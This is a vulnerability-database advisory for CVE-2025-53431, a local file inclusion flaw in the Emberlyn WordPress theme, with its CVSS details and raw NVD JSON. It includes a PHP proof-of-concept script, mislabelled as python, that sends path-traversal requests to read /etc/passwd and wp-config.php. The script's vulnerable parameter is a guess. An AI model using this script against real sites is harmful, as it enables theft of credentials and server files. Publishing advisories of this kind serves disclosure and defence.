Security Vulnerability Report
中文
CVE-2025-53431 CVSS 8.1 HIGH

CVE-2025-53431

Published: 2025-12-18 08:15:53
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Emberlyn emberlyn allows PHP Local File Inclusion.This issue affects Emberlyn: from n/a through <= 1.3.1.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Emberlyn主题 <= 1.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-53431 PoC - Emberlyn Theme Local File Inclusion * Target: AncoraThemes Emberlyn WordPress Theme <= 1.3.1 * Vulnerability: Local File Inclusion via unsafe include/require */ $target = 'http://target-site.com/'; $wp_path = '/wp-content/themes/emberlyn/'; // Vulnerable parameter (adjust based on actual vulnerable endpoint) $vuln_param = 'template'; // Read sensitive files $files_to_read = [ '../../../../../../etc/passwd', '../../../../../../wp-config.php', '../../../../../../windows/system32/drivers/etc/hosts' ]; echo "Testing CVE-2025-53431 - Emberlyn LFI\n"; echo "Target: {$target}\n\n"; foreach ($files_to_read as $file) { $url = $target . $wp_path . '?' . $vuln_param . '=' . urlencode($file); echo "Requesting: {$url}\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && !empty($response)) { echo "[SUCCESS] File content retrieved:\n"; echo substr($response, 0, 500) . "\n\n"; } else { echo "[FAILED] Could not retrieve file\n\n"; } } ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53431", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:53.303", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Emberlyn emberlyn allows PHP Local File Inclusion.This issue affects Emberlyn: from n/a through <= 1.3.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/emberlyn/vulnerability/wordpress-emberlyn-theme-1-3-1-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}